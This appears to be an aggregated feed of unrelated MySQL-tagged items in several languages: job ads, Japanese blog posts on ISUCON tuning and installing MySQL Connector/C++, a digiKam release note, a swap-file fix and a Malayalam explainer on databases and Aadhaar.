<thead> <tr> <th>Browser</th> <th>Versions</th> </tr> </thead> <tbody> <tr> <td>Microsoft Edge</td> <td>Latest version (desktop and mobile)</td> </tr> <tr> <td>Mozilla Firefox</td> <td>Latest version (desktop)</td> </tr> <tr> <td>Google Chrome</td> <td>Latest version (desktop and mobile)</td> </tr> <tr> <td>Safari</td> <td>10+ (OS X and iOS)</td> </tr> <tr> <td>Microsoft Internet Explorer</td> <td>11 (desktop)</td> </tr> </tbody> </table> <ul> <li>Please note that Microsoft Internet Explorer provides significantly lower performance than other listed browsers. It&#x2019;s recommended that you use an alternative browser.</li> </ul> <h2 id="dynatrace-messaging--alerting">Dynatrace messaging &amp; alerting</h2><h3 id="integrations">Integrations</h3><ul> <li>PagerDuty</li> <li>HipChat API version 2</li> <li>Slack</li> <li>VictorOps</li> </ul> <h3 id="dynatrace-mobile-app">Dynatrace Mobile app</h3><table> <thead> <tr> <th>Operating System</th> <th>Versions</th> </tr> </thead> <tbody> <tr> <td>Android</td> <td>4.1+</td> </tr> <tr> <td>iOS</td> <td>8+</td> </tr> <tr> <td>Windows Phone</td> <td>8.1+</td> </tr> <tr> <td>Windows</td> <td>10</td> </tr> </tbody> </table>
          Par : PGuin   
Le Web 2.0 a profondément modifié le rapport qu’entretiennent les individus aux applications qu’ils consommaient jusqu'à maintenant. Ainsi, l’application ne s’achète plus comme un produit à installer sur son poste de travail, mais devient un véritable service en location mensuelle à haute valeur ajoutée présentant une souplesse beaucoup plus grande. Démonstration sur la dernière version de IE7 : Technologies utilisées : XHTML - Javascript - CSS2 - VML - HTML+TIME + PHP MYSQL sur serveur LINUX Apache en mode ASP on line Voici un lien de test de PAGEDITOR PRO éditeur WYSIWYG on line : http://www.pageditorpro.com/demo/pageditor/index.php?file=inc_25.htm Plus d'informations sur : http://www.mediasites.fr Conclusion : Les services en ligne tendent à remplacer les applications logicielles traditionnelles. C’est par exemple le cas avec PAGEDITOR PRO, un outil de mise en page en ligne (PAO) qui permet, avec les mêmes privilèges et avec une grande souplesse d’utilisation, d’accéder à la mise à jour de son site web depuis n’importe quel ordinateur connecté à l’Internet. Le service est déporté du poste de l’utilisateur vers un stockage en ligne, accessible depuis le navigateur Web IE6 - IE7 de MS. Patrick GUINBERTEAU
          Empleos - Programador Web   
Iztacalco, México
Hace 13 minutos 4 Vistas empleo tiempo completo Empresa hcd Soluciones solicita Programador Web, de preferencia del sexo femenino, Licenciada en Informática o Ingeniera en Computación, pasante o titulada. Con conocimientos en: - html - css - jquery - php - mysql El horario de trabajo es de 9:00 a 18:00 hrs. Interesadas enviar currículum a ****** Contratación inmediata. Anuncio ...
vivanuncios.com.mx

          Full-Stack Developer (Ruby on Rails) - gdR | Grossman Dorland Recruiting - Toronto, ON   
In Computer Science or equivalent hacking experience (Ruby on Rails, Coffeescript, Backbone.js, MySQL), understanding of algorithms, data structures, design...
From gdR | Grossman Dorland Recruiting - Thu, 22 Jun 2017 18:00:49 GMT - View all Toronto, ON jobs
          Oferta de trabajo Valencia   

Perfil  Programador en C# / C++ / .NET  / Visual Basic con experiencia en desarrollo de aplicaciones de escritorio multiusuario y motor de base de datos en MySQL. Programador en PHP, con experiencia en desarrollo de aplicaciones web con bases de datos en MySQL. Contrato fijo. Personas interesadas: contactar con vvalero@grupogestoriapastor.com

El artículo Oferta de trabajo Valencia apareció por primera vez en ETSINF, Informática, Empresa .


          YAPC::Asia Tokyo 2015に行ってきました!#yapcasia   

投稿おそくなりました。ブログを書くまでがYAPCです!

最初はYAPCの存在すらよく知らなかったのですがかるぱねぎらさん(@karupanerura)にチケットを譲っていただき行ってきました。

めっちゃPerl, Perlしているのかなーと思いきやそんなことはなく、IT系の人たちが集まるお祭りって感じでした。 以下気になったセッションの感想を書いていきます。

Managing Containers at Scale with CoreOS and Kubernetes

Kubernetesとは何者なのか? デモとともに紹介していくというセッション。 個人的に最近Dockerに興味を持っていてそろそろ複数のコンテナを扱いたいなーって思っていたので、 ちょうどタイミングのいいセッションでした。

ポイントとしてはKubernetesはスケジューラでありレプリケーションコントローラでPod(同一ホストで起動しなくてはならないDocker群)の数を一定に保つようにするということですかね。 死活監視をしているので、ホストサーバが死んだ場合自動的に最適な別ホストにDockerを立ち上げてくれます。 また、スケールアウトや逐次アップデート、いくつかだけアップデートなどもコマンドをひとつ叩くだけでよしなにやってくれます。 ただ、逆に突然別ホストに移動する可能性があり、死んだDockerは削除されてしまうのでKubernetesで管理するものは基本的にステートレスなDockerクラスタに適応する感じで、永続化したいものはnfsマウントするなりAWSだったらS3に預けるなりしないとダメとのこと。

うっかりをなくす技術

インフラエンジニアとしてお仕事をさせていただいてもらっているので、ミスを出来る限り減らしたいという理由からとてもためになるセッションでした。

人間だからミスをしてしまう。そのミスをいかに減らし、またミスっても大事に至らないようにするかというお話。 まず、意識レベルを高めるということ。指差し確認などが有効なよう。 また、ミスは勘違いから生まれるので、勘違いしないような設計が大事で、そのためにはどうするかというと人の視点にたって手順を作ったりコードを書くとよい。読みやすいコードについてはリーダブルコード読みましょう!というお話でした。また、どうしてもトリッキーな実装になってしまう時はコメントに残す、コメントと実装の乖離をなくすにはみんなでコードレビューが有効。

また、ハインリッヒの法則からnear missを減らせば重大なミスは減らせるが、そもそもnear missは気づきにくいのでどうやって見つけるかが重要。具体的にはGitHubのIssueにヒヤリハットの要因を集めてまとめておくと良いとのこと。

最後にコーディングする上で言語による制約をうまく使いましょうという話。副作用を閉じ込める関数型言語はつよい。

ISUCONの勝ち方

ISUCONで勝つために聞いてきました!

まず、そもそもなぜ早くしなくてはいけないのか? ユーザ的な面だと遅いとUXが下がり、また検索順位に影響するとのこと。 そして、お金的な面で当然速いほどサーバ台数を減らせるのではやいとコスト削減になる。

方針として紹介されていた最初の1時間は問題把握・方針の決定、最後の30分は再起動テストにあてるってのは、去年やっていたのであとはのこりの6:30でいかにチューニングするかですね... また、参考になったのは「決まったことはメモとして書き出す」というの。 計測した情報とかは書き出すようにしてましたが、することに関しては今からします宣言して作業程度だったので、これは実践しようと思いました。 また、レギュレーションを読めというのこれ大事ですね...しなくていいチューニングをしないように。  技術的な面だとまずMySQLでは「コストの高いクエリより実行回数がおおいクエリが効いてくることもある」というの。とりあえずスロークエリにすべて吐き出す設定でベンチまわすのもありかもですね。long_query_time=0でそれが実現できるらしいです。あとは「いつもB+木を」。secondery indexのリーフにはprimary keyがいて、そこからprimary keyの探索が走るというの知らなかったので意識していきたいです。あとはそもそもoffsetがなくなるようにKVSとかとの連携も重要ですね。 Frontだとh2oはやいというはなし聞いたのでちょっと試してみます。


          ISUCON4予選に参加しました   

ということで昨日09/28にサークルの人(わたし、りょい君、kakira君)でチーム「☆(ゝω・)vキャピ」として参加しました。

当日まで

2回ほど勉強会を開きました。一回目は肝になりそうな部分をそれぞれがまとめて発表し勉強するという形式。 具体的には負荷とはそもそもなにか?(わたし),MySQLまわり(kakira君),memcachedまわり(りょい君)って感じにしました。これはわたし担当分は普段さわっているから、kakira君は競技プログラマなのでこのあたりデータ構造とかアルゴリズムとか関連付けて理解できそう、りょい君がこのメンバの中で一番Perlかけるので実装の際にしっているとつよいって感じで割り当てました。 AMIからの起動とか軽い動作確認などもこの日にしました。 そして、予選の方針として「推測するな計測せよ」というのを徹底していこうということ、 またそれとあわせ最初一時間はチューニングを始めずに統計をとる、ソースコードを読むなどして構造を理解最初のボトルネックを探す、そして最後の1時間は再起動したらうまくいかなくなり失格なんてことののないようチューニングをやめ確認をしているというふうにすることに。 また、選択した言語はのこり二人が読み書きできるということでPerlにすることに。(個人的にはPythonがよかった...)

二回目の勉強会ではISUCON3の過去問を解くという形。

開始直前

始まる前にチャットサーバとか、ディスプレイの設定(デュアルディスプレイにした)とかそういうことをしておきました。チャットサーバにはDevHubというものを使わせていただきました。これを採用した理由は普通にチャットできる部分とメモとしてマークダウンで書いておいておける場所がある点。チャットはURL貼るという用途に しか使いませんでしたが(普通の会話は口頭でしていた)、メモは色々わかったことなどを各々が書き込んで結構使いました。結構役に立ちました。↓予選後のスクリーンショット

f:id:ikaro1192:20140928173547p:plain

予選開始

とりあえずAMIを立ち上げベンチマークを走らせます。(10:11) 最初に決めたようにわたしはサーバ周り、りょい君、kakira君にはアプリケーションのソースコードを読んだり、サイト構造を把握してもらったりをお願いしました。

まず、psやnetstatからサーバで動いているプロセスリッスンしているポートを把握。前回までと大きく構成変わっているのはwebサーバデフォルトでhttpdではなくnginxであること、 memcachedが動いていないことでしょうか? そしてわたしは各種計測ツール導入。入れたものとしてはdstat,percona-toolkitなんかをいれました。 また、nginxでアクセスログの先頭に処理時間を表示するように設定。ついでに設定を見るとワーカーが1だったので(一時間はチューニングしないという話でしたが単純な変更で済むので)ワーカを4にして再起動。 MySQLについてもスロークエリを出力するように設定して再起動。また、今回はsupervisordがRuby実装ということで使うPerl実装に切り替えました。 ほんとはSSHもisuconユーザでログインできるように設定するはずだったのですが、なんか焦ってしまいできない...こんなところで時間潰すのももったいないので他の人には不便をしいますが(ほんと申し訳ない...)、とりあえず一旦やめ再度ベンチマークを走らせます。(10:44) 最初走らせた手応え、前回までの感じで大体workload8あたりがベストなのでこの時点でその程度の値にして実行。その結果スコアが3200ぐらいになり

となりました。やったね!暫定一位!このままいければよかったんだけど...

dstat,topの結果をみているとロードが最大3〜4前後であること、IOというよりCPUがネックになっていそうなこと、時々ポンとIOが来ること、やっぱりMySQLCPU使用率が高いことがw狩りました。また、ログ出力の関係からか常にディスクアクセス(書き込み)が発生しています。また、メモリは全然使い切れていないようなのでメモリにのせる実装が良さそうですねとか考えました。 スロークエリの結果からはなんかlogin処理であるクエリが殆どをしめているっぽいです。login_logというテーブルを参照しているのでログインまわりかなとか考えつつ。 また、ページごとのアクセス数の偏り、なんかをみてみても静的ファイルを除いてログインまわりに結構アクセスが来ています。↓

 5611 /
3087 /login
565 /mypage
2 /report
1 /tmUnblock.cgi

ソースコード解析しているkakira君からも該当クエリがめっちゃ効率わるいという話だったので、とりあえずここをチューニングしようという話に。 ソースコードが単純であることからmemcachedに全部のっければいいのでは?という話に。 これはメモリ上にのせるというよりも検索コストをさげるのとSQLでCPU使ってるのでKVSとしてO(1)でアクセスするという意味合いがつよいです。

ということでソースコード書き換え開始とその前にisuconユーザのホームディレクトリ配下をgit管理するようにしました。 kakira君がSQLソースコードをよみ大まかな設計をし、りょい君が実装していきます。わたしはそれにアルゴリズムまわりにちょっと口を出す程度。 わたしはnginxで静的ファイルを返すように変更したり、MySQLのパラメータを変えたりと細かなチューニングをしていきます。

とりあえずIPでの遮断の方を書き換えベンチを走らせると6000超えました。この調子でいけるか?ということでユーザロックのほうも実装開始。 これはいけるか?って思いましたがここからが... お昼も食べつつ13:30ぐらいに再度ベンチを走らせるものの/mypageがfailしまたreportとの付きあわせがうまく行かないらしく、スコアが送信されない状態... 送られれば100000越えてたのに...って感じでデバッグが開始されます。が、なかなかバグの原因がわからない。きっとmypageにアクセスできないはずのユーザがログインできているだろうと推測はできたのですが、手動でしらべるのは手間がかかる、またエラーログとしてページが予想されたものとことなりますだけでは情報がすくない... さらにPerlのデータ構造まわりの参照なのかスカラなのかハッシュあのかよくわからないというあれが発生し、さらに泥沼に... 改善したと思ったら今度はユーザロックをし続けているっぽい... 15:30頃一旦差し戻そうというはなしになり、スコアが3000に逆戻り... ソースコードをあらためて綺麗な心で書き換えはじめます。 うまくいかない...って感じですでに16:30。もう無理そうなので一旦諦めチューニングして別のところをチューニングし始めます。 ところでおなじBANなのになんでIPのほうはfailしてないのって話になりどうやらIPで遮断されたものは一回もないようなので、とりあえずそこのコードを単純にreturnするようにしました。これで6000程度に戻る。 あとはユーザのテーブルにインデックスをはったりして6500前後まで行きました。 もしかしてMySQLのデータを全部/tmp/shmにおけばいいのでは?とか考えて設定ファイル書き換えたらなんかMySQLが立ち上がらない... 設定ファイル差し戻してもダメ...結局これの解決をしていたら時間が来てしまいました...

反省点

  • 実装力低い...

これが大きかったです...とくにわたしがPerl読み書きできないので...また、コンテストの性質上コードを読んでいる時間が長くなるのですぐに実装できるより読みやすい言語のほうが良さそうです。次回参加する際はわたしもプログラミングまわりで力になれるようにしておきたいです。

*ダブルチェックをする

実は途中でわたしがsupervisordを再起動しとうとおもって、bashの履歴機能つかって再起動していたら実は複数回memcachedを再起動していてperlのエラーログがうまく出されないという事象がありまして、これは実サービスでやったらプロセスによってはとんでもないことになり非常に反省しております。また、今回でも余計に時間をかけさせてしまったというので申し訳ない。 再起動など影響のある作業するときはきちんとコマンドがあっているかチェックをする。声掛けだけではなく、ダブルチェックするなどを怠らないようにしないといけませんね。

*ダメそうだったら途中ですぐに諦める

loginまわりでかなり時間をとっていしまいました。 これは途中で方針変更できるはずなのに強行突破しとうとしたのは間違いでした。 MySQLのテーブル設計をきちんとする(一回でも成功しているかしていないかの判定があったのでそこのテーブルをわけるなど)、その上でクエリの改善をするなどで十分高速化できたはずで、その場合加点が0というわけではなく多少は加点があり、さらに別のポイントのチューニングにも時間をまわせました。

感想

今年が初参加でしたが、とてもおもしろかったです。 また、技術者として自分に足りない部分を再度確認できるよい機会でもありました。 問題自体は去年とはことなり、複数問題点が含まれているというより大きな問題がありそれを解決するって感じだったのかなって感じてます(もしかしたらたくさんある問題点をわたしたちがみつけられなかっただけなのかもしれませんが...)やっぱり計測大事ですね。 来年はもっとスコア伸ばしていきたいです。

参加者・運営の皆様お疲れ様でした!

追記

学生枠5位になんとか入り本戦出場できることになりました。 わたしは研究の関係で参加できないので残り二人に頑張ってもらいます。


          MySQL Connector/C++を導入してみた   

MySQL Connector/C++を入れる機会があって少し悩んだのでメモ。

公式からソースコードをDLし*1makeするとmysql.hとerrmsg.hがみつからないと言われる。
ぐぐってみるとこれらはmysqlには含まれず、mysql-develに含まれるらしいので

sudo yum install mysql-devel

としてインストール。
そしてふたたび

cmake .
make clean
sudo make
sudo make install

とすることでインストールできた。
念の為動作確認を行う。(ユーザ名・パスワードは適宜変更してください。)

#include<memory>

#include<mysql_connection.h>
#include<mysql_driver.h>
#include <cppconn/resultset.h>
#include <cppconn/statement.h>

int main(){

	auto driver = sql::mysql::get_mysql_driver_instance();


	auto raw_con =driver->connect("localhost", "mysqluser", "mysqlpass");
	auto con = std::shared_ptr<sql::Connection>(raw_con);
	
	auto raw_stmt = con->createStatement();
	auto stmt = std::shared_ptr<sql::Statement>(raw_stmt);

	auto raw_res = stmt->executeQuery("SHOW DATABASES");
	auto res = std::shared_ptr<sql::ResultSet>(raw_res);

	while (res->next()) {
		std::cout << res->getString("DataBase") << std::endl;
	}

}

コンパイルは

g++ -lmysqlcppconn -std=c++0x  main.cpp

とlibmysqlcppconnの場所を教えてあげないといけない。
コンパイルできたら実行してデータベース一覧が表示されれば成功。

ちなみにMySQL Connector/C++を叩かなくてもWt::DboというORマッパーが存在するのでそちらを利用したほうが通常は捗るような気がする。

*1:ユーザ登録しなくちゃいけなかったりとひじょーにだるい。めったにDLしないからパスワードとか忘れるし...改善して欲しい


          MySql parando no Ubuntu – Job for mysql.service failed because the control process exited with error code   

Se o  MySql estiver parando no Ubuntu e ao tentar levantar novamente você receber a mensagem de erro: “Job for mysql.service failed because the control process exited with error code” Realize os seguintes passos: root@myserver:~# dd if=/dev/zero of=/swap.dat bs=1024 count=512k root@myserver:~# mkswap /swap.dat root@myserver:~# swapon /swap.dat root@myserver:~# vim /etc/fstab O Vim será iniciado. Adicione a […]

O post MySql parando no Ubuntu – Job for mysql.service failed because the control process exited with error code apareceu primeiro em Musardos Soluções Digitais.


          Baltasar Ortega: Lanzado digiKam 5.6 con la vuelta de viejas funcionalidades   

No hay mejor aplicación para gestionar tus imágenes que digiKam y ésta no deja de evolucionar. El pasado 21 de junio fue lanzado digiKam 5.6 con a vuelta de viejas funcionalidades que muchos usuarios han notado a faltar. De esta forma, digiKam sigue mejorando versión a versión aunque en ocasiones parezca imposible.

Lanzado digiKam 5.6 con la vuelta de viejas funcionalidades

Tras el gran salto de digiKam a Qt5/KF5, ya tenemos entre nosotros su sexta gran revisión que destaca por el trabajo realizado por los desarrolladores para traer de vuelta funcionalidades perdidas en el salto, mejoras en la base de datos , soporte mejorado en el agrupamiento de ítems , mejoras en las geolocalizaciones y, por supuesto, un buen número de errores resueltos.

Lanzado digiKam 5.6 con la vuelta de viejas funcionalidades

A modo de resumen los novedades principales son:

  • Herramienta para la creación de galerías HTML: con ella puedes crear tus páginas de imágenes para tu web a partir de tu colección de imágenes. Existen muchos temas para personalizarla e incluye soporte para Javascript.
  • Herramienta Video Slideshow; con ella es posible crear de forma sencilla vídeos a partir de tus imágenes. Se puede ajustar tanto el formato, el códec, la resolución y las transiciones.
  • Herramienta de comprobación de integridad de la base de datos: con ella se liberarán datos obsoletos de las bases de datos de forma segura y contribuirá a disminuir su tamaño. Además ahora es posible utilizar bases de datos MySQL.
  • Mejoras en las agrupaciones de ítems, con la posibilidad de crear tus colecciones de imágenes.
  • Vuelta de los marcadores de Geolocalización en versiones compiladas (App,Image, MacOS y Windows)

En definitiva, se ve un gran trabajo para el presente de la aplicación pero, sobretodo, para su futuro.

Ah! Y además, apuntar que este lanzamiento introduce un buen número de errores resueltos, concretamente 81 bugs solucionados en bugzilla.

Puedes descargar el código fuente de digiKam software collection source code, los instaladores para OSX (>= 10.8) y para Windows 32/64 bits en este repositorio.

Más información: digiKam


          Programmer PHP   
PT Hyper Mega Shipping - Jakarta Pusat - - Menguasai codeigniter, CSS3, html5, jquery, mysql - Membuat backend dan front end ( membuat aplikasi berbasis web, membuat back office dan merancang ui / ux web - Pria / Wanita - Pengalaman minimal 1 tahun - Usia max 30 tahun Tunjangan : - Asuransi Waktu Bekerja : Se...
          Web Developer dan Junior Programmer   
PT Hyper Mega Shipping - Jakarta Pusat - - Web Developer : Membangun system website yang terintegrasi dengan database - Junior Programmer : Membangun system dbase yang terintegrasi dengan semua divisi Keahlian : - Web Developer : html5, css3, boostrap, php, Jquery - Junior Programmer : Java, MySQL, sqserver, php (c...
          40: Edd Mann - You Should Switch to Postgres   
In this episode, Adam talks to Edd Mann, host of Three Devs and a Maybe, about the advantages of using PostgreSQL over MySQL, common obstacles people running into when switching to Postgres, and deciding when to push work into the database instead of doing it in code.
          Software engineer - Stratoscale - Ontario   
Experience with database technologies is an asset – at least one of MySql, Oracle, PostgreSQL, MongoDB or Cassandra....
From Stratoscale - Thu, 15 Jun 2017 16:47:38 GMT - View all Ontario jobs
          മോംഗോ ഡിബിയും ആധാറും പിന്നെ കുറെ മണ്ടത്തരങ്ങളും    


ആമുഖം -

     ഈ പോസ്റ്റിനു ഒരു ആമുഖം ആവശ്യമുണ്ട്.  ഇക്കണോമിക് ടൈംസ്‌ പത്രത്തിൽ വന്ന ഒരു വാർത്തയെ  പറ്റിയാണ് ഈ പോസ്റ്റ്‌. ആധാർ പ്രൊജക്റ്റിനു ഉപയോഗിക്കുന്ന സോഫ്റ്റ്‌വെയർ അമേരിക്കൻ ചാര ഏജൻസി ആയ സി ഐ എ സ്ഥാപിച്ച ഒരു കമ്പനി ഉണ്ടാക്കുന്നതാണ്, അതുകൊണ്ട് സ്വാഭാവികമായും ഭാരതത്തിന്റെ ജനസംഖ്യാ കണക്കുകൾ അവരുടെ കയ്യിൽ എത്തും എന്ന ആശങ്കകൾ വ്യക്തമായി വിവരിക്കുന്ന ഒരു വാർത്ത‍. സി പി എം അവരുടെ വെബ്‌സൈറ്റിൽ ഇതിനെതിരെ പോസ്റ്റ്‌ ഇട്ടു. ഇങ്ങനത്തെ വാർത്തകൾ മലയാളത്തിൽ പരിഭാഷപ്പെടുത്തുന്ന ദേശാഭിമാനി സഖാക്കൾക്കായി അത് വീണ്ടും പബ്ലിഷ് ചെയ്തു. പണ്ട് hot dog എന്നത് ചൂടൻ പട്ടി എന്ന് വിവർത്തനം ചെയ്തു ചരിത്രം സൃഷ്ടിച്ച അവർ ഇത്തവണ തെറ്റൊന്നും കൂടാതെ ആ ആശങ്ക സഖാക്കളിലേക്ക് പകർന്നു. മാധ്യമത്തിലും ഈ വാർത്ത‍ ചലനങ്ങൾ സൃഷ്ടിച്ചു. സത്യം പറഞ്ഞാൽ ഈ വാർത്തക്ക് കീഴിൽ ഉള്ള കമന്റുകളാണ് ഇങ്ങനെ ഒരു പോസ്റ്റ്‌ ഇടാൻ എന്നെ പ്രേരിപ്പിച്ചത്.രാജ്യത്തിന്റെ രഹസ്യങ്ങൾ വിൽപ്പനക്ക്, ഭാരതത്തിന്റെ സുരക്ഷ നഷ്ടപ്പെട്ടു, സോണിയ ഗാന്ധി രാജ്യത്തെ ഒറ്റിക്കൊടുത്തു എന്ന് തുടങ്ങി രാജ്യത്തെ മുസ്ലിം സമുദായ അംഗങ്ങളുടെ കണക്കെടുക്കാൻ വേണ്ടി മാത്രമാണ് ആധാർ എന്ന് വരെ അഭിപ്രായങ്ങൾ കണ്ടു. ബാലിശമെന്നു തോന്നുമെങ്കിലും ഇപ്പോൾ തന്നെ പല രീതിയിലും അരക്ഷിതത്വം അനുഭവിക്കുന്ന മുസ്ലീം സമുദായത്തിലെ അംഗങ്ങൾ ഇങ്ങനെ ആശങ്കപ്പെട്ടത്തിൽ അത്ഭുതമില്ല. വർഷങ്ങളായി ഡാറ്റാബേസ് പ്രോഗ്രാമിംഗ് ചെയ്യുകയും കഴിഞ്ഞ രണ്ടു വർഷത്തോളമായിമോംഗോ ഡി ബി ഉപയോഗിക്കുകയും ചെയ്യുന്ന ഒരാളെന്ന നിലക്ക്  ആധാർ പോലെ ഒരു പ്രോജക്ടിൽ എങ്ങനെയാണ് വിവര ശേഖരണവും അതിന്റെ സൂക്ഷിപ്പും നടക്കുന്നതെന്ന് ലളിതമായ ഭാഷയിൽ വിവരിക്കാനുള്ള ഒരു ശ്രമമാണ് ഈ പോസ്റ്റ്‌. സോഫ്റ്റ്‌വെയർ പ്രോഗ്രാമിംഗ് പഠിച്ചിട്ടില്ലാത്തവരെ ഉദ്ദേശിച്ചാണ് ഇത് എഴുതുന്നത്‌. അതുള്ളവർക്കും വായിക്കാം. തെറ്റുകൾ ചൂണ്ടിക്കാട്ടാം.

എന്താണ് ഡാറ്റാബേസ് ? 

     എന്തെങ്കിലും ഒരു പ്രത്യേക  ക്രമത്തിൽ അടുക്കിസൂക്ഷിച്ചിരിക്കുന്ന വിവര ശേഖരമാണ് ഡാറ്റാബേസ്. ഉദാഹരണത്തിനു 04712424595 എന്നത് എന്താണ് സൂചിപ്പിക്കുന്നത് ? ഒന്നും പിടി കിട്ടുന്നില്ല അല്ലേ ? പക്ഷെ STD Code - 0471 , Number - 2424595 എന്ന് മാറ്റിയെഴുതിയപ്പോൾ അതിനൊരു അർഥം വന്നു. നിങ്ങളുടെയൊക്കെ വീട്ടിൽ ഉപയോഗിക്കുന്ന ഫോണ്‍ ബുക്ക്‌ മിക്കവാറും ഇതുപോലെയൊക്കെ തന്നെയായിരിക്കും നമ്പറുകൾ എഴുതുന്നത്‌. ആ ഫോണ്‍ ബുക്ക്‌ ഒരു ഡാറ്റാബേസ് ആണ്. ഇത് കമ്പ്യൂട്ടറിന്റെ ഭാഷയിലേക്ക് മാറ്റുമ്പോൾ ഇതുപോലെയാകും :

Name
STD Code
Phone Number
Kiran
011
32663535
Madhu
080
453242345
Priya
022
9824242
Ravi
040
121413

Excel പോലുള്ള ഓഫീസ് ആപ്ലിക്കേഷനുകളിലുംനിങ്ങൾക്ക് ഇത് പോലുള്ള വിവരങ്ങൾ സൂക്ഷിക്കാവുന്നതാണ്. ഒരു ഓഫീസിലെ ദൈനംദിന പ്രവർത്തനങ്ങൾ,ബാങ്കിലേത് പോലുള്ള പണമിടപാടുകൾ, നിങ്ങൾ ഒരു ഫോണ്‍ കാൾ ചെയ്യുമ്പോൾ അതിന്റെ വിശദാംശങ്ങൾ തുടങ്ങി ഒട്ടനവധി പ്രധാനപ്പെട്ട വിവരങ്ങൾ ഡാറ്റാബേസ് സോഫ്റ്റ്‌വെയറുകളിൽ ശേഖരിച്ചു വയ്ക്കുന്നു. ഒരു സോഫ്റ്റ്‌വെയർ സിസ്റ്റത്തിൽ ഏറ്റവും നിർണായകമായ ഒരു ഘടകമാണ് ഡാറ്റാബേസ്. SQL ( Structured Query Language ) എന്ന ഭാഷയിൽ എഴുതുന്ന കമാന്റുകൾ ഉപയോഗിച്ച് ഡാറ്റാബേസിൽ സൂക്ഷിച്ചിരിക്കുന്ന വിവരങ്ങൾ വിശകലനം ചെയ്യാൻ സാധിക്കും. പ്രവർത്തന മേഖലയുടെ സ്വഭാവം അനുസരിച്ച് നമ്മൾ ശേഖരിക്കുന്ന ഡാറ്റായുടെ വലിപ്പവും കൂടും. ഉദാഹരണത്തിന്, നിങ്ങൾ ഒരു ഫോണ്‍ കാൾ ചെയ്യുമ്പോൾ എന്താണ് സംഭവിക്കുന്നത്‌ ?കോൾ കണക്ട് ചെയ്യുമ്പോൾ തന്നെ ആരെയാണോ നിങ്ങൾ വിളിക്കുന്നത്‌, അയാളുടെ പേര്, നമ്പർ, കാൾ സ്റ്റാർട്ട്‌ ചെയ്ത സമയം എന്നിവ സേവ് ആകും. ഇടയ്ക്കു വച്ച്കോൾ നിന്ന് പോയാലോ ഡിസ്കണക്ട് ചെയ്താലോ ഉടൻ തന്നെകോൾഅവസാനിച്ച സമയം, എത്ര സമയം സംസാരിച്ചു, ചാർജ് എത്രയായി തുടങ്ങിയ വിവരങ്ങളും സേവ് ആകുന്നു. ഇനി ഭാവിയിൽ എപ്പോൾ വേണമെങ്കിലും ആ വിവരങ്ങൾ വീണ്ടെടുക്കാനും കഴിയും. Microsoft SQL Server , Oracle , MySQL തുടങ്ങിയവയാണ് വ്യാപകമായി ഉപയോഗിച്ച് വരുന്ന ഡാറ്റാബേസ് സോഫ്റ്റ്‌വെയറുകൾ. 

കാലം വരുത്തിയ മാറ്റം 

പണ്ടൊക്കെ ഒരു ജി ബി ഉള്ള ഒരു ഡാറ്റാബേസ് ഒരു അപൂർവ സംഭവം ആയിരുന്നു. വിരലിലെണ്ണാവുന്നവർ മാത്രം കമ്പ്യൂട്ടർ ഉപയോഗിച്ചിരുന്ന അക്കാലത്ത് അതിൽ ശേഖരിക്കപ്പെടുന്ന ഡാറ്റായും അത്രയേ ഉണ്ടായിരുന്നുള്ളൂ. എന്നാൽ ഇന്ന് അങ്ങനെയല്ല. മൊബൈൽ ഫോണ്‍ , ടാബ്ലെറ്റ്സ്, ലാപ്ടോപ് / ഡെസ്ക്ടോപ്പ് കമ്പ്യൂട്ടറുകൾ തുടങ്ങി ഒട്ടനവധി മാർഗങ്ങൾ ഉപയോഗിച്ച് കോടിക്കണക്കിനു ആൾക്കാർ പല തരത്തിലുമുള്ള കാര്യങ്ങൾ ചെയ്തുകൊണ്ടിരിക്കുന്നു. ഫേസ്ബുക്ക്‌ , ട്വിറ്റെർ തുടങ്ങി സോഷ്യൽ നെറ്റ് വർക്കിംഗ്‌ പ്ലാറ്റ്ഫോമുകൾ വഴി ഓരോ നിമിഷവും ടണ്‍ കണക്കിന് വിവരങ്ങളാണ് വിവിധ ഡാറ്റാബേസ് സെർവറുകളിലേയ്ക്കു എത്തുന്നത്‌. ഡാറ്റാ എന്നത് ബിഗ്‌ ഡാറ്റാ  എന്ന് പുനർ നാമകരണം ചെയ്യപ്പെട്ടിരിക്കുന്നു. ഒരു നിമിഷം തന്നെ കോടിക്കണക്കിനു റ്റെക്സ്റ്റും ചിത്രങ്ങളും വീഡിയോകളും മറ്റുമാണ് ഇന്റർനെറ്റിൽ കൈമാറ്റം ചെയ്യപ്പെടുന്നത്.ഇത്രയും വലിയ വിവര ശേഖരത്തിൽ നിങ്ങൾക്ക് വേണ്ട സംഗതികൾ എങ്ങനെയാണ് കമ്പ്യൂട്ടർ ഇത്രയും വേഗം  അന്വേഷിച്ചു കണ്ടുപിടിക്കുന്നതെന്ന് ചിന്തിച്ചിട്ടുണ്ടോ ? ലളിതമായ ഒരു ഉദാഹരണം പറയാം. നിങ്ങളുടെ കമ്പ്യൂട്ടറിൽ ഒരു ചിത്രം സേവ് ചെയ്തു വച്ചിട്ടുണ്ട് എന്ന് വിചാരിക്കുക. ഫയൽ നെയിം നിങ്ങളുടെ പേര് തന്നെയാണ്. കുറച്ചു കാലം കഴിഞ്ഞു ഈ ഫയൽ എവിടെയാണ് സേവ് ചെയ്തത് എന്ന് നിങ്ങൾ  മറന്നു പോയി എന്നിരിക്കട്ടെ. ആ ഒരു സിംഗിൾ ഫയൽ കണ്ടു പിടിക്കാൻ നിങ്ങളുടെ വിൻഡോസ്‌ സെർച്ച്‌ എത്ര സമയം പ്രവർത്തിക്കുന്നു എന്ന് കണ്ടിട്ടില്ലേ ?  ഇതേ സ്ഥാനത്ത്  ബില്യൻ കണക്കിന് വിവരങ്ങൾ ഉള്ളപ്പോൾ എന്താവും സ്ഥിതി എന്ന് ഓർത്തു നോക്കൂ.

ബിഗ്‌ ഡാറ്റാബേസ് 

